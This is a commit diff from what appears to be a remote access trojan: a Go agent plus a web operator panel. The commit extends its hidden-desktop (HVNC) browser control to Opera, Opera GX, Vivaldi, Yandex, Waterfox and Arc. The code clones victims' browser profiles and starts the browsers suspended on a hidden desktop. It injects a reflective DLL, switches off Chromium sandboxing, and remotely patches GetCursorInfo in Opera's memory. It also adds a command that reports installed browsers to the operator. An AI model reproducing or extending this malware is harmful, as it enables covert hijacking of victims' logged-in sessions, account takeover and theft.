add more browsers, browser checks and move SOL push to management
This commit is contained in:
@@ -4,8 +4,8 @@ package capture
|
||||
|
||||
import "errors"
|
||||
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
||||
return 0, errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
@@ -18,3 +18,7 @@ type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
func CheckInstalledBrowsers() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -102,12 +102,12 @@ func enableDebugPrivilege() {
|
||||
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
|
||||
// injects the reflective DLL, then resumes it.
|
||||
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
||||
if filePath == "" {
|
||||
return fmt.Errorf("empty file path")
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
}
|
||||
if len(dllBytes) == 0 {
|
||||
return fmt.Errorf("empty DLL bytes")
|
||||
return 0, fmt.Errorf("empty DLL bytes")
|
||||
}
|
||||
|
||||
result, err := executeHVNCTask(hvncTask{
|
||||
@@ -119,9 +119,9 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
||||
replacePath: replacePath,
|
||||
}, 30*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
return 0, err
|
||||
}
|
||||
return result.err
|
||||
return result.pid, result.err
|
||||
}
|
||||
|
||||
// StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection.
|
||||
@@ -158,7 +158,14 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
|
||||
if !clone {
|
||||
log.Printf("hvnc %s: starting without profile cloning", info.name)
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if info.needsPatch && pid != 0 {
|
||||
go patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
realUserData := getBrowserUserDataDir(info)
|
||||
@@ -195,7 +202,14 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
}
|
||||
}
|
||||
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if info.needsPatch && pid != 0 {
|
||||
go patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||
@@ -204,12 +218,14 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes
|
||||
}
|
||||
|
||||
type browserInfo struct {
|
||||
name string
|
||||
exeName string
|
||||
exePaths []string // candidate exe locations (env vars expanded at runtime)
|
||||
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
|
||||
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
|
||||
isFirefox bool // true for Firefox (different profile structure)
|
||||
name string
|
||||
exeName string
|
||||
exePaths []string // candidate exe locations (env vars expanded at runtime)
|
||||
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
|
||||
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
|
||||
isFirefox bool // true for Firefox (different profile structure)
|
||||
flatProfile bool // true = no Default/Profile subdirs; treat all root dirs as profile content
|
||||
needsPatch bool // true = apply GetCursorInfo patch after launch (Opera/Opera GX)
|
||||
}
|
||||
|
||||
var browserInfoMap = map[string]browserInfo{
|
||||
@@ -247,6 +263,70 @@ var browserInfoMap = map[string]browserInfo{
|
||||
useAppData: true,
|
||||
isFirefox: true,
|
||||
},
|
||||
"opera": {
|
||||
name: "Opera",
|
||||
exeName: "opera.exe",
|
||||
exePaths: []string{
|
||||
`\Programs\Opera\opera.exe`,
|
||||
},
|
||||
userData: `Opera Software\Opera Stable`,
|
||||
useAppData: true,
|
||||
flatProfile: true,
|
||||
needsPatch: true,
|
||||
},
|
||||
"operagx": {
|
||||
name: "Opera GX",
|
||||
exeName: "opera.exe",
|
||||
exePaths: []string{
|
||||
`\Programs\Opera GX\opera.exe`,
|
||||
},
|
||||
userData: `Opera Software\Opera GX Stable`,
|
||||
useAppData: true,
|
||||
flatProfile: true,
|
||||
needsPatch: true,
|
||||
},
|
||||
"vivaldi": {
|
||||
name: "Vivaldi",
|
||||
exeName: "vivaldi.exe",
|
||||
exePaths: []string{
|
||||
`\Vivaldi\Application\vivaldi.exe`,
|
||||
},
|
||||
userData: `Vivaldi\User Data`,
|
||||
},
|
||||
"yandex": {
|
||||
name: "Yandex",
|
||||
exeName: "browser.exe",
|
||||
exePaths: []string{
|
||||
`\Yandex\YandexBrowser\Application\browser.exe`,
|
||||
},
|
||||
userData: `Yandex\YandexBrowser\User Data`,
|
||||
},
|
||||
"waterfox": {
|
||||
name: "Waterfox",
|
||||
exeName: "waterfox.exe",
|
||||
exePaths: []string{
|
||||
`\Waterfox\waterfox.exe`,
|
||||
},
|
||||
userData: `Waterfox`,
|
||||
useAppData: true,
|
||||
isFirefox: true,
|
||||
},
|
||||
"arc": {
|
||||
name: "Arc",
|
||||
exeName: "Arc.exe",
|
||||
exePaths: []string{
|
||||
`\Arc\Application\Arc.exe`,
|
||||
},
|
||||
userData: `Arc\User Data`,
|
||||
},
|
||||
}
|
||||
|
||||
func CheckInstalledBrowsers() map[string]bool {
|
||||
result := make(map[string]bool, len(browserInfoMap))
|
||||
for key, info := range browserInfoMap {
|
||||
result[key] = findBrowserExe(info) != ""
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func findBrowserExe(info browserInfo) string {
|
||||
@@ -465,11 +545,13 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
||||
jobs = append(jobs, copyJob{src: src, dst: dst})
|
||||
}
|
||||
|
||||
// Get browser info to check if it's Firefox
|
||||
// Get browser info to check profile structure
|
||||
isFirefox := false
|
||||
flatProfile := false
|
||||
for _, bi := range browserInfoMap {
|
||||
if strings.EqualFold(bi.name, browserName) {
|
||||
isFirefox = bi.isFirefox
|
||||
flatProfile = bi.flatProfile
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -480,20 +562,24 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
||||
dst := filepath.Join(cloneBase, name)
|
||||
|
||||
if entry.IsDir() {
|
||||
// Check if this is a profile directory
|
||||
isProfile := false
|
||||
if isFirefox {
|
||||
// Firefox profiles have names like "xxxxx.default-release"
|
||||
isProfile = isFirefoxProfile(name)
|
||||
} else {
|
||||
// Chrome-based browsers use "Default" or "Profile X"
|
||||
isProfile = strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
|
||||
}
|
||||
|
||||
if isProfile {
|
||||
if flatProfile {
|
||||
collectProfileDir(src, dst, skipDirs, collectFile)
|
||||
} else if !skipDirs[strings.ToLower(name)] {
|
||||
collectDirFiles(src, dst, collectFile)
|
||||
} else {
|
||||
// Check if this is a profile directory
|
||||
isProfile := false
|
||||
if isFirefox {
|
||||
// Firefox profiles have names like "xxxxx.default-release"
|
||||
isProfile = isFirefoxProfile(name)
|
||||
} else {
|
||||
// Chrome-based browsers use "Default" or "Profile X"
|
||||
isProfile = strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
|
||||
}
|
||||
|
||||
if isProfile {
|
||||
collectProfileDir(src, dst, skipDirs, collectFile)
|
||||
} else if !skipDirs[strings.ToLower(name)] {
|
||||
collectDirFiles(src, dst, collectFile)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
collectFile(src, dst)
|
||||
@@ -667,19 +753,19 @@ func calcDirSize(dir string) int64 {
|
||||
return total
|
||||
}
|
||||
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
||||
if filePath == "" {
|
||||
return fmt.Errorf("empty file path")
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
}
|
||||
if len(dllBytes) == 0 {
|
||||
return fmt.Errorf("empty DLL bytes")
|
||||
return 0, fmt.Errorf("empty DLL bytes")
|
||||
}
|
||||
|
||||
// Create a page-file-backed named section containing the raw DLL bytes.
|
||||
// Child processes will open this section to reflectively inject themselves.
|
||||
shmHandle, shmName, err := createDLLSharedMemory(dllBytes)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create DLL shared memory: %v", err)
|
||||
return 0, fmt.Errorf("failed to create DLL shared memory: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
|
||||
|
||||
@@ -689,7 +775,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes))
|
||||
if err != nil {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return fmt.Errorf("failed to create suspended process: %v", err)
|
||||
return 0, fmt.Errorf("failed to create suspended process: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: created suspended process PID %d", pid)
|
||||
|
||||
@@ -699,7 +785,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
procCloseHandle.Call(hThread)
|
||||
terminateProcess(hProcess)
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return fmt.Errorf("DLL injection failed: %v", err)
|
||||
return 0, fmt.Errorf("DLL injection failed: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: DLL injected into PID %d", pid)
|
||||
|
||||
@@ -714,7 +800,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
ret, _, _ := procResumeThread.Call(hThread)
|
||||
if ret == 0xFFFFFFFF {
|
||||
procCloseHandle.Call(hThread)
|
||||
return fmt.Errorf("failed to resume thread")
|
||||
return 0, fmt.Errorf("failed to resume thread")
|
||||
}
|
||||
procCloseHandle.Call(hThread)
|
||||
|
||||
@@ -724,7 +810,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
go hvncDeferredGPUInject(pid, captureDllBytes)
|
||||
}
|
||||
|
||||
return nil
|
||||
return pid, nil
|
||||
}
|
||||
|
||||
func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
||||
@@ -932,15 +1018,19 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
|
||||
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||
}
|
||||
args := " --window-position=0,0"
|
||||
browserExes := map[string]bool{
|
||||
"chrome.exe": true,
|
||||
"brave.exe": true,
|
||||
"msedge.exe": true,
|
||||
chromiumExes := map[string]bool{
|
||||
"chrome.exe": true,
|
||||
"brave.exe": true,
|
||||
"msedge.exe": true,
|
||||
"opera.exe": true,
|
||||
"vivaldi.exe": true,
|
||||
"browser.exe": true,
|
||||
"arc.exe": true,
|
||||
}
|
||||
baseName := strings.ToLower(filepath.Base(filePath))
|
||||
if browserExes[baseName] {
|
||||
if chromiumExes[baseName] {
|
||||
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox"
|
||||
} else if baseName == "firefox.exe" {
|
||||
} else if baseName == "firefox.exe" || baseName == "waterfox.exe" {
|
||||
args += " -no-remote -wait-for-browser"
|
||||
}
|
||||
cmdLine, err := syscall.UTF16FromString(filePath + args)
|
||||
|
||||
@@ -0,0 +1,163 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
procGetProcAddress = kernel32.NewProc("GetProcAddress")
|
||||
procLoadLibraryW = kernel32.NewProc("LoadLibraryW")
|
||||
procVirtualProtectEx = kernel32.NewProc("VirtualProtectEx")
|
||||
procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
|
||||
procEnumProcessModules = psapi.NewProc("EnumProcessModulesEx")
|
||||
procGetModuleFileNameExW = psapi.NewProc("GetModuleFileNameExW")
|
||||
)
|
||||
|
||||
var psapi = syscall.NewLazyDLL("psapi.dll")
|
||||
|
||||
const (
|
||||
pageExecuteReadWrite = 0x40
|
||||
listModulesAll = 0x03
|
||||
)
|
||||
|
||||
func patchGetCursorInfo(pid uint32) error {
|
||||
addr, err := remoteGetProcAddress(pid, "user32.dll", "GetCursorInfo")
|
||||
if err != nil {
|
||||
return fmt.Errorf("find GetCursorInfo: %w", err)
|
||||
}
|
||||
|
||||
// mov eax, 1; ret
|
||||
patch := []byte{0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3}
|
||||
|
||||
hProcess, _, callErr := procOpenProcess.Call(uintptr(PROCESS_ALL_ACCESS_INJ), 0, uintptr(pid))
|
||||
if hProcess == 0 {
|
||||
return fmt.Errorf("OpenProcess PID %d: %v", pid, callErr)
|
||||
}
|
||||
defer procCloseHandle.Call(hProcess)
|
||||
|
||||
var oldProtect uint32
|
||||
ret, _, callErr := procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)),
|
||||
pageExecuteReadWrite, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("VirtualProtectEx: %v", callErr)
|
||||
}
|
||||
|
||||
var written uintptr
|
||||
ret, _, callErr = procWriteProcessMemory.Call(hProcess, addr,
|
||||
uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)),
|
||||
uintptr(unsafe.Pointer(&written)))
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("WriteProcessMemory: %v", callErr)
|
||||
}
|
||||
|
||||
verify := make([]byte, len(patch))
|
||||
var read uintptr
|
||||
procReadProcessMemory.Call(hProcess, addr,
|
||||
uintptr(unsafe.Pointer(&verify[0])), uintptr(len(verify)),
|
||||
uintptr(unsafe.Pointer(&read)))
|
||||
if int(read) == len(patch) {
|
||||
ok := true
|
||||
for i := range patch {
|
||||
if verify[i] != patch[i] {
|
||||
ok = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if !ok {
|
||||
log.Printf("hvnc patch: verification mismatch for PID %d", pid)
|
||||
}
|
||||
}
|
||||
|
||||
var dummy uint32
|
||||
procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)),
|
||||
uintptr(oldProtect), uintptr(unsafe.Pointer(&dummy)))
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func remoteGetProcAddress(pid uint32, dllName, funcName string) (uintptr, error) {
|
||||
dllNameUTF16, _ := syscall.UTF16PtrFromString(dllName)
|
||||
localModule, _, callErr := procLoadLibraryW.Call(uintptr(unsafe.Pointer(dllNameUTF16)))
|
||||
if localModule == 0 {
|
||||
return 0, fmt.Errorf("LoadLibrary %s: %v", dllName, callErr)
|
||||
}
|
||||
|
||||
funcNameBytes, _ := syscall.BytePtrFromString(funcName)
|
||||
localFunc, _, callErr := procGetProcAddress.Call(localModule, uintptr(unsafe.Pointer(funcNameBytes)))
|
||||
if localFunc == 0 {
|
||||
return 0, fmt.Errorf("GetProcAddress %s!%s: %v", dllName, funcName, callErr)
|
||||
}
|
||||
|
||||
offset := localFunc - localModule
|
||||
|
||||
remoteBase, err := getRemoteModuleBase(pid, dllName)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
return remoteBase + offset, nil
|
||||
}
|
||||
|
||||
func getRemoteModuleBase(pid uint32, moduleName string) (uintptr, error) {
|
||||
hProcess, _, callErr := procOpenProcess.Call(
|
||||
uintptr(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ), 0, uintptr(pid))
|
||||
if hProcess == 0 {
|
||||
return 0, fmt.Errorf("OpenProcess PID %d: %v", pid, callErr)
|
||||
}
|
||||
defer procCloseHandle.Call(hProcess)
|
||||
|
||||
var modules [1024]uintptr
|
||||
var cbNeeded uint32
|
||||
ret, _, callErr := procEnumProcessModules.Call(hProcess,
|
||||
uintptr(unsafe.Pointer(&modules[0])),
|
||||
uintptr(len(modules))*unsafe.Sizeof(modules[0]),
|
||||
uintptr(unsafe.Pointer(&cbNeeded)),
|
||||
listModulesAll)
|
||||
if ret == 0 {
|
||||
return 0, fmt.Errorf("EnumProcessModulesEx: %v", callErr)
|
||||
}
|
||||
|
||||
count := int(cbNeeded) / int(unsafe.Sizeof(modules[0]))
|
||||
target := strings.ToLower(moduleName)
|
||||
|
||||
var nameBuf [260]uint16
|
||||
for i := 0; i < count; i++ {
|
||||
n, _, _ := procGetModuleFileNameExW.Call(hProcess, modules[i],
|
||||
uintptr(unsafe.Pointer(&nameBuf[0])), uintptr(len(nameBuf)))
|
||||
if n == 0 {
|
||||
continue
|
||||
}
|
||||
fullPath := syscall.UTF16ToString(nameBuf[:n])
|
||||
baseName := strings.ToLower(fullPath)
|
||||
if idx := strings.LastIndexByte(baseName, '\\'); idx >= 0 {
|
||||
baseName = baseName[idx+1:]
|
||||
}
|
||||
if baseName == target || baseName == target+".dll" {
|
||||
return modules[i], nil
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("module %s not found in PID %d", moduleName, pid)
|
||||
}
|
||||
|
||||
func patchOperaAsync(pid uint32, maxRetries int, delay time.Duration) {
|
||||
for attempt := 0; attempt < maxRetries; attempt++ {
|
||||
if attempt > 0 {
|
||||
time.Sleep(delay)
|
||||
}
|
||||
if err := patchGetCursorInfo(pid); err != nil {
|
||||
log.Printf("hvnc patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("hvnc patch: successfully patched GetCursorInfo in PID %d", pid)
|
||||
return
|
||||
}
|
||||
log.Printf("hvnc patch: all %d attempts failed for PID %d", maxRetries, pid)
|
||||
}
|
||||
@@ -223,6 +223,7 @@ type hvncTask struct {
|
||||
type hvncTaskResult struct {
|
||||
img *image.RGBA
|
||||
err error
|
||||
pid uint32
|
||||
}
|
||||
|
||||
type startupInfo struct {
|
||||
@@ -459,7 +460,7 @@ func ensureHVNCThread() error {
|
||||
hvncThreadErr = fmt.Errorf("failed to set thread desktop: %v", err)
|
||||
close(hvncThreadReady)
|
||||
for task := range hvncThreadTasks {
|
||||
task.resp <- hvncTaskResult{nil, hvncThreadErr}
|
||||
task.resp <- hvncTaskResult{err: hvncThreadErr}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -480,7 +481,7 @@ func ensureHVNCThread() error {
|
||||
case hvncTaskStartProcess:
|
||||
result.err = startHVNCProcessOnThread(task.filePath)
|
||||
case hvncTaskStartProcessInjected:
|
||||
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
|
||||
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
|
||||
case hvncTaskMouseMove:
|
||||
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
|
||||
case hvncTaskMouseDown:
|
||||
|
||||
@@ -1472,6 +1472,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_browser_check":
|
||||
log.Printf("hvnc: browser availability check requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_browser_check", nil, func() {
|
||||
browsers := capture.CheckInstalledBrowsers()
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserCheckResult{
|
||||
Type: "hvnc_browser_check_result",
|
||||
Browsers: browsers,
|
||||
})
|
||||
log.Printf("hvnc: browser check complete: %v", browsers)
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_lookup":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
exeName := ""
|
||||
@@ -1530,7 +1543,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process_injected", nil, func() {
|
||||
if err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
|
||||
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
|
||||
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -246,6 +246,11 @@ type HVNCLookupResult struct {
|
||||
Done bool `msgpack:"done"`
|
||||
}
|
||||
|
||||
type HVNCBrowserCheckResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Browsers map[string]bool `msgpack:"browsers"`
|
||||
}
|
||||
|
||||
type ClipboardContent struct {
|
||||
Type string `msgpack:"type"`
|
||||
Text string `msgpack:"text"`
|
||||
|
||||
@@ -378,6 +378,22 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
}
|
||||
}
|
||||
|
||||
function handleBrowserCheckResult(msg) {
|
||||
if (!msg.browsers || !contextMenu) return;
|
||||
contextMenu.querySelectorAll("[data-browser]").forEach((btn) => {
|
||||
const key = btn.dataset.browser;
|
||||
if (key && msg.browsers[key] === false) {
|
||||
btn.classList.add("browser-unavailable");
|
||||
} else {
|
||||
btn.classList.remove("browser-unavailable");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function requestBrowserCheck() {
|
||||
sendCmd("hvnc_browser_check", {});
|
||||
}
|
||||
|
||||
function sendCmd(type, payload) {
|
||||
if (!activeClientId) {
|
||||
console.warn("No active client selected");
|
||||
@@ -753,6 +769,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_check_result") {
|
||||
handleBrowserCheckResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
@@ -784,6 +804,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_check_result") {
|
||||
handleBrowserCheckResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
@@ -822,6 +846,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) });
|
||||
}
|
||||
});
|
||||
requestBrowserCheck();
|
||||
}
|
||||
|
||||
function onWsClose() {
|
||||
@@ -1025,6 +1050,36 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-opera") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-operagx") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-vivaldi") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-yandex") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-waterfox") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-arc") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-custom") {
|
||||
hideContextMenu();
|
||||
showCustomExeModal();
|
||||
|
||||
@@ -43,6 +43,7 @@ const NAV_GROUPS = [
|
||||
children: [
|
||||
{ href: "/scripts", label: "Scripts", icon: "fa-code", iconColor: "text-cyan-400", linkId: "scripts-link" },
|
||||
{ href: "/socks5-manager", label: "Proxies", icon: "fa-network-wired", iconColor: "text-sky-400", linkId: "socks5-link" },
|
||||
{ href: "/sol-publish", label: "Sol Publish", icon: "fa-link-slash", iconColor: "text-purple-400", linkId: "sol-publish-link", hidden: true },
|
||||
],
|
||||
},
|
||||
{
|
||||
@@ -53,7 +54,6 @@ const NAV_GROUPS = [
|
||||
children: [
|
||||
{ href: "/build", label: "Builder", icon: "fa-hammer", iconColor: "text-orange-400", linkId: "build-link", hidden: true },
|
||||
{ href: "/plugins", label: "Plugins", icon: "fa-puzzle-piece", iconColor: "text-violet-400", linkId: "plugins-link", hidden: true },
|
||||
{ href: "/sol-publish", label: "Sol Publish", icon: "fa-link-slash", iconColor: "text-purple-400", linkId: "sol-publish-link", hidden: true },
|
||||
],
|
||||
},
|
||||
{
|
||||
|
||||
@@ -185,76 +185,74 @@
|
||||
</div>
|
||||
<div
|
||||
id="hvncContextMenu"
|
||||
class="hidden fixed z-50 min-w-[180px] rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
|
||||
class="hidden fixed z-50 min-w-[220px] max-h-[80vh] overflow-y-auto rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
|
||||
>
|
||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Browsers</div>
|
||||
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<!-- Options -->
|
||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Options</div>
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Clone profile</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<input type="checkbox" id="hvncCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<input type="checkbox" id="hvncKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Kill browser if running</span>
|
||||
</label>
|
||||
<button
|
||||
type="button"
|
||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||
